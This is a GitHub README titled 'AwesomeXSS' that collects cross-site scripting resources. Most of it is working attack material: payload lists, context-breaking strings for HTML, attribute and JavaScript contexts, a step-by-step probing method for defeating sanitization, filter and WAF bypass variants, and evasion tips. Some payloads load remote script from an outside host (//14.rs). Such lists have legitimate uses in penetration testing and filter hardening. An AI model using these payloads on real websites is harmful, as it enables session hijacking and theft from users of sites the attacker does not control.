UltimateHackers / AwesomeXSS

Awesome XSS stuff

xss payload xss-payloads payload-list xss-detection xss-cheatsheet

23 commits **1** branch **0** releases **1** contributor

Branch: **master** New pull request Find file Clone or download

UltimateHackers fixed address of XSStrike Latest commit 34c9c33 3 days ago

Database	Added credits	2 months ago

README.md

AwesomeXSS

Awesome XSS stuff. Put this repo on watch. I will be updating it regularly.

Awesome Books

- XSS Cheat Sheet By Brute Logic

Awesome Websites

- brutelogic.com.br
- respectxss.blogspot.in

Awesome Challenges

- Google's XSS Challenge
- prompt(1) to win

Awesome People

- Rodolfo Assis
- Ashar Javed
- Somdev Sangwan because I made this repo :3

Awesome Reads & Presentations

- XSS in Sarahah
- Bypass Any WAF for XSS
- XSS in Facebook via PNG Content Type
- How I met your girlfriend
- How to Find 1,352 Wordpress XSS Plugin Vulnerabilities in one hour
- Blind XSS
- Copy Pest

Awesome Tools

- XSStrike
- KNOXSS
- BeEF
- JShell

Awesome Payloads

```
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg/x=">"/onload=confirm()//
<svg </onload ="1> (_=prompt,_(1)) "">
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
```

```
<x oncut=alert()>x
<details ontoggle=confirm()>
<svg onload=write()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
```

Here's an interesting XSS polyglot by Ahmed Elsobky:

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/-
```

Awesome Tags & Event Handlers

- 105 Event Handlers with description
- 200 Event Handlers without description

Some HTML Tags that you will be using

```
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
```

Awesome Context Breaking

Simple Context

```
<svg onload=alert()>
</tag><svg onload=alert()>
```

Attribute Context

```
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autocous/onfocus="alert()
```

JavaScript Context

```
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
```

Awesome Confirm Variants

Yep, confirm because alert is too mainstream.

```
confirm()
confirm``
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
```

Awesome Exploits

A good compilation of advanced XSS exploits can be found here

Awesome Probing

If nothing of this works, take a look at **Awesome Bypassing** section

First of all, enter a non-malicious string like **d3v** and look at the source code to get an idea about number and contexts of refelections.
Now for attribute context, check if double quotes (") are being filtered by entering **x"d3v**. If it gets altered to **x"d3v**, chances are that proper security measures are in place. If this happens, try doing the same for single quotes (') by entering **x'd3v**, if it gets altered to **x'**, you are doomed. The only thing you can try is encoding.
If the quotes are not being filtered, you can simply try payloads from **Awesome Context Breaking** section.
For javascript context, check which quotes are being used for example if they are doing

```
variable = 'value' or variable = "value"
```

Now lets say single quotes (') are in use, in that case enter **x'd3v**. If it gets altered to **x\'d3v**, try escaping the backslash () by adding a backslash to your probe i.e. **x\'d3v**. If it works use the following payload:

```
\'-alert()-\'
```

But if it gets altered to **x\'d3v**, the only thing you can try is closing the script tag itself by using

```
</script><svg onload=alert()>
```

For simple HTML context, the probe is **x>d3v**. If it gets altered to **x>d3v**, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potenial filters. The dummy tag I like to use is **x<xxx>**. If it gets stripped or altered in any way, it means the filter is looking for a pair of **<** and **>**. It can simply bypassed using

```
<svg onload=alert()//
```

or this (it will not work in all cases)

```
<svg onload=alert()
```

If the your dummy tags lands in the source code as it is, go for any of these payloads

```
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
```

Awesome Bypassing

Note: None of these payloads use single (') or double quotes (").

- Without event handlers

```
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
```

- Without space

```
<svg/onload=confirm()>
<iframe/src=javascript:alert(1)>
```

- Without slash (/)

```
<svg onload=confirm()>
<img src=x onerror=confirm()>
```

- Without equal sign (=)

```
<script>confirm()</script>
```

- Without closing angular bracket (>)

```
<svg onload=confirm()//
```

- Without alert, confirm, prompt

```
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
```

- Without a Valid HTML tag

```
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
```

Filter bypass procedure by Rodolfo Assis

```
<x onxxx=1
%3Cx onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
<X onxxx=1
<x ONxxx=1
<x OnXxx=1
<X OnXxx=1
<x onxxx=1 onxxx=1
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
```

```
<x 1='1'onxxx=1
<x 1="1"onxxx=1
<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/
<x%2F1=">%22OnXxx%3D1
```

Awesome Encoding

Come back later

Awesome Tips & Tricks

- http(s):// can be shortened to // or /\.
- **document.cookie** can be shortened to **cookie**. It applies to other DOM objects as well.
- alert and other pop-up functions don't need a value, so stop doing **alert('XSS')** and start doing **alert()**
- You can use **//** to close a tag instead of **>**.
- I have found that **confirm** is the least detected pop-up function so stop using **alert**.
- Quotes around attribute value aren't neccessary as long as it doesn't contain spaces. You can use **<script src=//14.rs>** instead of **<script src="//14.rs">**
- The shortest independent "XSS" payload is **<embed src=//14.rs>** (19 chars)

Awesome Credits

All the payloads are crafted by me unless specified. Thanks to my big brother Rodolfo Assis whose writings inspired me to become an XSSLord.